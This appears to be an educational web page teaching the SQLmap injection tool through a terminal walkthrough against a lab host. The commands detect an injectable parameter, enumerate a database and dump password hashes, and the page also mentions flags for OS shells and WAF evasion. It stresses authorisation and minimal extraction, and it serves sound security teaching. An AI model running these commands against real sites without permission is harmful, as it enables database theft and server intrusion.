ERROR DEXby Akshay kumar
STUDY MODE / TOOLS / SQLMAP
OFFENSIVE · WEB EXPLOITATION

SQLmap

SQLmap automates the entire SQL injection lifecycle: find the injection point, identify the database, extract the schema, dump the data, and in the worst case take over the host.

A single parameter is enough for SQLmap to work — it will not test what you do not point it at.
--batch stops the questions, --level and --risk control how hard it pushes. Raise them slowly.
--dump extracts data; --os-shell takes the server. Know which one your authorisation covers.
HOW TO USE IT → WHY IT MATTERSCOMMANDS HOW IT WORKSMISTAKES
LICENCEOpen source (GPLv2)
PLATFORMLinux · Windows · macOS
WRITTEN INPython
FIRST RELEASE2006

What it is

SQLmap is a Python tool that automates SQL injection detection and exploitation. You give it a URL with a parameter, and it tries a library of techniques — boolean-based blind, time-based blind, error-based, UNION query, stacked queries — to find one that works.

Once it has a working technique, it can fingerprint the database engine (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), enumerate databases and tables, dump rows, read files, and on some configurations execute operating-system commands.

It is loud. Every technique generates hundreds of requests with tell-tale payloads, which is exactly what a WAF is built to catch. In a real assessment you run it with a proxy, rate limits, and an agreed window.

WALKTHROUGH

How to use SQLmap

Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.

01

Detect the injection — nothing else yet

KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --batch --level=1 --risk=1
       __H__
 ___ ___[.]_____ ___ ___  {1.8.2#stable}

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] GET parameter 'id' appears to be 'MySQL' injectable
[INFO] the back-end DBMS is MySQL
WHAT THIS MEANSThat one line is the finding: the id parameter is injectable and the database is MySQL. --level=1 --risk=1 keeps it gentle — higher levels test more parameters and riskier payloads that can load the server.
02

Identify what you are talking to

KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --banner --current-db --current-user --batch
banner: 5.7.33-0ubuntu0.16.04.1
current user: shopapp@localhost
current database: shop
WHAT THIS MEANSThree facts that shape everything next: MySQL 5.7 (so information_schema exists), the user is shopapp — not root, so file writes and OS commands are probably out — and the application database is shop.
03

Enumerate — map before you extract

KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" -D shop --tables --batch
Database: shop
[4 tables]
+------------------+
| users            |
| orders           |
| products         |
| sessions         |
+------------------+
WHAT THIS MEANSFour tables. users and sessions are the interesting ones. Enumerating first means you know the shape of the data before you touch any of it — and you can decide how little you need to prove impact.
04

Extract the minimum that proves it

KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" -D shop -T users -C username,password --dump --start 1 --stop 2 --batch
Database: shop
Table: users
[2 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| akshay   | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+
WHAT THIS MEANSTwo rows is proof. The hashes are MD5 — 5f4dcc3b… is the well-known hash of "password", which tells you the application stores unsalted MD5. That is a second finding, and it needs no cracking at all.
05

Control the noise so the test stays legal and quiet

KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --delay=2 --threads=1 --proxy=http://127.0.0.1:8080 --output-dir=./sqlmap-out --batch
[INFO] fetched data logged to text files under './sqlmap-out/'

# --delay=2      one request every 2 seconds
# --threads=1    single-threaded, gentle on the server
# --proxy        every request passes through Burp and is logged
# --output-dir   session + logs kept for the report
WHAT THIS MEANSSQLmap is loud by default. These four flags are what separate a professional test from someone hammering a client server. The proxy means every payload is captured in Burp — which is exactly what your report needs.

Flags & options

FLAGWHAT IT DOES
-u "URL"Target URL including the parameter to test.
--data="..."POST body instead of a GET parameter.
-p nameTest only this parameter.
--batchNever ask questions — accept defaults. Essential for scripting.
--level 1-5How many injection points and payload types to try. Start at 1.
--risk 1-3How dangerous the payloads are. 3 includes heavy time-based tests.
--dbsList databases.
-D db -T table --columnsEnumerate tables, then columns.
--dumpExtract rows. Always pair with --start/--stop.
--banner --current-db --current-userIdentify engine, database and user.
--is-dbaCheck whether the current user is an administrator.
--delay=2 --threads=1Throttle — one request every N seconds, single thread.
--proxy=http://127.0.0.1:8080Route through Burp so every payload is logged.
--output-dir=./outKeep the session and logs for the report.
--tamper=scriptTransform payloads to get past a WAF — only with authorisation.

Why it matters

SQL injection is still one of the highest-impact web bugs: one vulnerable parameter can expose an entire database. SQLmap exists to make detection and proof-of-impact fast and repeatable. The skill is not running it — it is knowing when to stop. Dumping a client's customer table when you only needed to prove the injection is a data-protection incident you caused.

How it works

SQLmap sends payloads and reads the application's response. If a boolean condition changes the page, it has a boolean-based injection. If a deliberate delay changes the response time, it has time-based blind. If an error message leaks the query, it has error-based. Once one technique works, it uses it as a channel to ask the database questions — starting with its version and name.

Everything after that is enumeration over that channel: list databases, list tables, list columns, then read rows. The clever part is not the payloads — it is that the tool can extract data even when the page never shows an error.

TARGET URL?id=1DETECTboolean · timeFINGERPRINTdbms · versionENUMERATEdbs · tablesEXTRACT--dumpDATABASErows · schemaREPORTproof, not a copy
Detect → fingerprint → enumerate → extract the minimum needed to prove impact

Commands & syntax

BASIC DETECTION
# detect only — no data extraction
sqlmap -u "https://target.local/item?id=1" --batch

# POST parameter instead of GET
sqlmap -u "https://target.local/login" --data="user=a&pass=b" -p user --batch
IDENTIFY THE BACKEND
sqlmap -u "https://target.local/item?id=1" --banner --current-db --current-user --batch

# is the current user an administrator?
sqlmap -u "https://target.local/item?id=1" --is-dba --batch
ENUMERATE
sqlmap -u "https://target.local/item?id=1" --dbs --batch
sqlmap -u "https://target.local/item?id=1" -D shop --tables --batch
sqlmap -u "https://target.local/item?id=1" -D shop -T users --columns --batch
EXTRACT — MINIMUM NEEDED
# three rows proves it. Do not take the whole table.
sqlmap -u "https://target.local/item?id=1" -D shop -T users -C username,password --dump --start 1 --stop 3 --batch
CONTROL THE NOISE
# throttle, and route through your proxy so everything is logged
sqlmap -u "https://target.local/item?id=1" --delay=2 --threads=1 --proxy=http://127.0.0.1:8080 --batch

# keep session output for the report
sqlmap -u "..." --output-dir=./sqlmap-out --batch
KALI LINUX
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --batch --dbs

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.2#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] GET parameter 'id' appears to be 'MySQL' injectable (with --string="Home")
[INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop

# Four databases. "shop" is the application one.
# Stop here and write it up — you have proof of injection.
# Dumping it is a data-protection decision, not a technical one.

Common mistakes

Dumping the whole database

It is not "thorough", it is a data breach you created. Take the minimum rows needed to prove impact and delete local copies afterwards.

Running it against production without a window

Hundreds of requests with obvious payloads will trip WAFs and fill logs. Agree the time window first.

Forgetting --batch

It stops on every question and looks like it has hung.

Cranking --level and --risk to maximum immediately

Higher levels test more injection points and riskier payloads — including time-based ones that can load the server. Raise them only if the default fails.

Ignoring the WAF

If a WAF blocks you, the correct move is to report "WAF present, manual testing required", not to try to evade it without authorisation.

Not saving the session

You will not reproduce the exact payload from memory.

Practice safely

Deliberately vulnerable apps: DVWA and bWAPP include SQL injection modules at several difficulty levels, and they are safe to attack locally. PortSwigger Web Security Academy has SQL injection labs from apprentice to expert.

Legal note. Only use SQLmap on systems you own or have explicit written permission to test. In India, unauthorised access is punishable under sections 43 and 66 of the IT Act, 2000. Every example on this page assumes a lab environment.

Related